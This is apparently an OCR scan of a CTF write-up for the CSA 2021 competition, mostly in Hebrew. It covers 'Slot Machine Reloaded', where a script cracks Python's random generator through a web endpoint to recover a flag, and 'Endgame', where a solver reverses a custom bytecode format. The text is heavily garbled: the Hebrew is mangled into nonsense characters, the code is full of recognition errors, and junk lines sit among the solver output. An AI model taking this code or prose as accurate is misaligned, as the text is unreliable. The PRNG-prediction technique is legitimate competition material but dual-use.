result = s.get(url_spin).text
time.sleep(0.05)
spin_output = json.loads(result)["result"]
num = get_rand_output(spin_output)
outputs = get 32 bit_outputs_from_num(num)
for out in outputs:

rc.submit(out)

print("finished predicting!")

for _ in range(200-104):
s.get(url_spin)
time.sleep(0.05)
rc.predict_randbelow(big _num)

print("fininshed stalling")

flag = ["?"] * 32

while True:
if "?" not in flag:
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print("wooho found flag!")
print(f"flag = {''.join(flag)}")
exit(0)

result = s.get(url_spin).text

spin_output = json.loads(result)["result"]

next _result = rc.predict randbelow(big num)
flag char_indexes = get flag char_indexes(next_result)
flag char_index flag char_indexes:
flag[flag _char_index] == "?':
flag[flag _char_index] = spin_output[flag char_index]
print(f"flag = {''.join(flag)}")
__main__‘':

PS C:\Users\orkin\Documents\ctfs cyber shit\csa-
2021\Slot Machine Reloaded\Python-random-module-cracker\randcrack>
python .\solve for real i aint kidding this time.py
finished predicting!

fininshed stalling

flag =

flag =

flag

flag

flag

flag

flag

flag =

flag

flag 27 _ 271 ?T??H??E?D}
flag PPAPPRLPK??T?? ?2?1?°2?2T?2?H??E?D}
flag PRAR??L?K3?T?2? 2212222T2°2H??E?D}
flag P2A???LIK3?T?? 2212222T2°2H??E?D}
flag P2A???L1IK3?T?? 2W1I??222T2°2H??E?D}
flag ?PPLIK3?T?E ?W1?2??2T??H??E?D}
???L1K3?T?E ?W1S???T??H??E?D}
/AR B RIS ALY RIS/ 2 BRI D RIE R 21 D))
ARE LSRN RIS/ R BRI R RIE R R FID));
? L1K3 THE ?W1S?2?T??H??E?D}
_L1K3 THE ?W1ST??T??H??E?D}
_L1K3 THE ?W1ST?4T??H??E?D}
_L1K3 THE ?W1ST?4T?TH??E?D}
> L1K3 THE ?W1ST?4T?TH??E?D}
_L1K3 THE ?W1ST?4T?TH??E?D}
_L1K3 THE ?W1ST?4T?TH??E?D}
{I L1K3 THE ?W1ST?4T TH??E?D}
flag {I L1K3 THE ?W1ST?4T THE?E?D}
flag A{I L1K3 THE ?W1ST?4T THE E?D}
flag = CSA{I L1K3 THE ?W1ST?4T THE E?D}
flag = CSA{I L1K3 THE TW1ST?4T THE E?D}
flag = CSA{I L1K3 THE TW1ST 4T THE E2D}
flag = CSA{I L1K3 THE TW1ST 4T THE END}
wooho found flag!

flag = CSA{I L1K3 THE TW1ST 4T THE END}

>
>

flag ??A?

flag
flag
flag
flag
flag
flag
flag
flag
flag
flag

(RO RIS R A RO BN IV)
[EO RO RN
[RGBV

[V RIV)

D

VIS IR
H o

[EORRCEC RO B AO B V)

nwnnnonon
B i O -

.
D
.
D

i renE N araball

CSA{l_L1K3_THE_TW1ST_4T_THE_END}
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(11172 300 ,Reversing NMi1avj?) Endgame Nanx

;00770

This guy Thanos snapped his fingers and now the flag is scattered across the universe.
Can you be the hero that saves the world?

‘hex-editor-2 INIX NN91 .flag yaIzn 911X Nanxy

c.oaci.y€.3, o0
ity ....iii.y€.0
UkiLyE. L Tk,
T«..T-.2..1il@. ¢
e A bub . - «B«lh
««. . T« 0.0, A
LBl YI-.0. . T%
.hesl«. yan.di-. .
L@I%I«. 6. ;. U«lck
««. .1 ... .dI%I«. .

(diEth. 20%tc, . 1
D«EI-. .. TWI%I%
1. {«hax. ET«Tt. .
Ug.s°Ul«. >«thacly

17 .5«%. .Uhl«. Gux
R U T G T

NN

DTN 1F-1 1E ,1D,1C ,1B ,1A :D'DyN - Yalpa 'NW'd NAN RN LINYY K7W D20 mn Nx
7wnY ,Dnwa NIM72IRN NIMMIXA WIN'Y W', 007w 1ITR 70 'INK NI 0Ny

1A 05 1B 03 AB AB

1CB31D91 ABCD

1E 05 1F CD EF EF
,custom N'0'01 NOW 7w D"ion 2102 (registers) DMAIR '2IN DX 1770 D'DWNY 11aWN
IMIYRIN NNAITN 7V DAwnnNn 17 DY 1'Ynl .0'M'on 0Dy D' Thny

1A 05 1B 03 AB AB EF 08 FF 80

7w N1y ax'M 1B 03-w nirn? 715* 71A NaIkn 1IM7 0x5 1wn Y n1'wo ax'n 1A 05-w nirn% 71

.0x3-1 0x5 7w 112'NN NRXIN - 08 7V Y'9In 72 INK YN ?1B NAIKN N7 0x3 Wn
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N7 T2 MI7D '=" 1NN W AT DXV XIN,DMYD 190N 1NXY 2V TN N - EF-w N 200D ox
.FF 80 1190 NnaIT? nnaiT 70 'aw D'RN 1NIX L9002 ?)Ir
NN 72N0KY TIRN 7Y AN D DX
mov 1A, 0x5
mov 1B, 0x5
add 1A, 1B
212N NI add n'71von NR ax' ABW k1) D DX
JINNRD NIRAAITA 7V 117W NININN DX 7172)
1CB3 1D 91 BACD EF 22 FF 80

MpNa XInw 0x22 7w v'9Im )2 NX 1D 1C 0MaIX? nnkNna D1aywvl 0x911 0xB3 0N
D'TINOINN 1TO NAW n71Y9 X' 110N 1D 2% 1C 2 Wni?d 0x91 'a% 0xb3 2 110'NN NRXIN

.N9WA 770N NTIRPON N1AN DX Fan? 7210 DX DR ,NRNINN IX NWUn
NIN X' BAW NXN1D 27 ,NNAITn MNR T BA y'oin [X21 AB XIN 112NN D71V 7w AIX' Y R
TI9IXN NN 1C - D'TNOIND 1TO NX a¥' CDW nX11D ,CD N Vo ,NX T .I0'NN N71Vo
TV VYI9IN AN WIN'Y 7D MNXK ,0NAIR DAY 1A-1F )0 DX . TN9IRD KN 1D1 "7Rnwin

1Y yoy

“NINAN NI7IYON DX 172N ,FF 80 V'OIN |AW NIXAN NIXNAITA NX [[77aN DX

AB - add
BA - sub
CD - mul
DC - div
NNUN TNDINNY A¥'N CD W NNAIT? D .0 TNDIRD 1TO NIX AX'NIN Y van N7V 70 NN

SJNMRN TN 2'nnn ,NINNKRN DY92 FF 80 y'oimw MNX .1D XN 11D TN9IknwI 1C KIn

97 I07MN 'V - NNXV INIX YX2NI Tizn DX NIYOSNY N1DIN 2INd)

operator
Crypto.Util.number long_to_bytes

open('./flag', 'rb")
data = f.read()

{6x1la: 0, 1b: o, 1c: 0o, 1d: o, le: 0, 1f: o}

{6xab: operator.add, ba: operator.sub,
cd: operator.mul, dc: operator.ifloordiv}

range(0, len(data), 2):
data[i] reg:
reg[data[i]] = data[i + 1]
data[i] ops:
varl = ((data[i + 1] >> 4) & oOxf) +
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var2 = (data[i + 1] & oxf) +
reg[varl] = ops[data[i]](reg[varl], reg[var2])

0's'oin NI 1B ']I]'\'? 0x1 7yn NX D'WI0 i7> .1B 01 AB AB X'n N1DINA NMINNXN N71Y9NYW AR
222007 IMIX AL, NINN DI'oa 1A 7w 7VN DX X7 J1A-7 IMIX

operator
Crypto.Util.number long to bytes

open('./flag', 'rb")
data = f.read()

la: O, 1b: 9, 1c: 9o, 1d: o, le: 0O, 1f: o}
ab: operator.add, ba: operator.sub,
cd: operator.mul, dc: operator.ifloordiv}

range(9, len(data), 2):
data[i] reg:
reg[data[i]] = data[i + 1]
data[i] ops:

varl = ((data[i + 1] >> 4) & Oxf) + 0x10

var2 = (data[i + 1] & oxf) + oxle

reg[varl] = ops[data[i]](reg[varl], reg[var2])
flag _len = len(hex(reg[@xla])[2:]) // 2
flag = long_to_bytes(reg[0xla]).decode()
print(flag)

PS C:\Users\orkin\Documents\ctfs cyber shit\csa-
2021\Endgame> python .\solve.py
CSA{cs@5s3mbl3d}

M7 NX gl

CSA{cs@5s3mbl3d}
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niN'o
ID'nX TINNAE DNANKNA ,DNTNI DNANK 7V Checkpoint 7w Ny nimin% nxMa

Beat "anNa .timing attack nwnwn Pass it on-1 :D'MINN 7w NN NWpn DNANK 770 mwn CTF-n
.Backtracking D'm7xa nunnwn Puzz-word-al .bmp yalp 7w union v Y% ,the map
11271 .0'-ctf-n DINN yINn DA NAIWN NIvAwn 7¥2 12T ,md5 collision XI¥n'7 0¥ 10, Is 7aNXNA
Computed Shopping-2 !nnxy 7y 17NN DANDN MWW DWAIN L reversing-n MANRN TINN
nnd 7y 2wn% noMY U Slot Machine-a .niw7Inn Agnn DiINNn An'vo 1727 ,Assistant
NYPN MANKRN DX L Endgame-al INY'D 7w Ipnn TIpa TIAKRY? D70 U [DTTY7AW NNywn

D107IMKR N7 MDY WIT X7 NOYW 7w 0NID '2AN7 DDMIX 1 ,MYN Nk

Score: 2971

Crypto Reversing Programming Misc

v
D3c0d3M3 Computed Shopping Assistant Beat the map Networking

100 173 180 10

v
cq_cq_cq Fun With Flags Memento

180 177 180

v
Computed Shopping Assistant 11 Puzz-word README

295 298 100

v
Slot Machine Reloaded Strange Game

298 100

Endgame Pass it on

300 180
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https://www.linkedin.com/in/or-globus-118a211a8/
https://github.com/orkinyo
https://www.linkedin.com/in/idan-strovinsky-b84644146/
https://github.com/ghsi10

